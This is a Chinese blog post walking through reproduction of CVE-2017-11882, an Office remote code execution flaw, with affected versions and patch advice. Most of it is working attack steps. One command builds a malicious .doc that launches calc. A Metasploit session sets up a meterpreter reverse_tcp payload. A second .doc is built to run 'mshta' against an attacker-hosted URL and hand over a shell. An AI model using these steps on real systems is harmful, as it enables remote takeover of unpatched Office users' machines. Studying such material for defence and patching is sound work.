隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)
阅读目录
Preface
这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。
利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。
主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。
影响版本
- Office 365
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
复现过程
国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882
这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/
生成漏洞doc文件弹计算器
生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc [*] Done ! output file >> test.doc <<
用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。
除了可以弹计算器外,还能获取shell。
生成漏洞doc文件拿shell
这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:
我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd /usr/share/metasploit-framework/modules/exploits/windows/new-exps root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls PS_shell.rb
这样在启动msf时就能直接使用了:
msf > use exploit/windows/new-exps/PS_shell
漏洞利用过程:
msf > use exploit/windows/new-exps/PS_shell msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(PS_shell) > set lhost 192.168.1.102 lhost => 192.168.1.102 msf exploit(PS_shell) > set uripath abc uripath => abc msf exploit(PS_shell) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.1.102:4444 msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc [*] Local IP: http://192.168.1.102:8080/abc [*] Server started. [*] Place the following DDE in an MS document: mshta.exe "http://192.168.1.102:8080/abc"
从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc
我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc [*] Done ! output file >> test.doc <<
再用Office打开这个doc,就能拿到meterpreter了:
OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)
更多手法请参考:
漏洞修复
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补 (2)开启Windows Update功能,定期对系统进行自动更新
参考
-------------------------------------------
个性签名:如果世上的事都按你说的道理走 世界就不是现在这样了!
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 智能桌面机器人:用.NET IoT库控制舵机并多方法播放表情
· Linux glibc自带哈希表的用例及性能测试
· 深入理解 Mybatis 分库分表执行原理
· 如何打造一个高并发系统?
· .NET Core GC压缩(compact_phase)底层原理浅谈
· 手把手教你在本地部署DeepSeek R1,搭建web-ui ,建议收藏!
· 新年开篇:在本地部署DeepSeek大模型实现联网增强的AI应用
· Janus Pro:DeepSeek 开源革新,多模态 AI 的未来
· 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(三):用.NET IoT库
· 【非技术】说说2024年我都干了些啥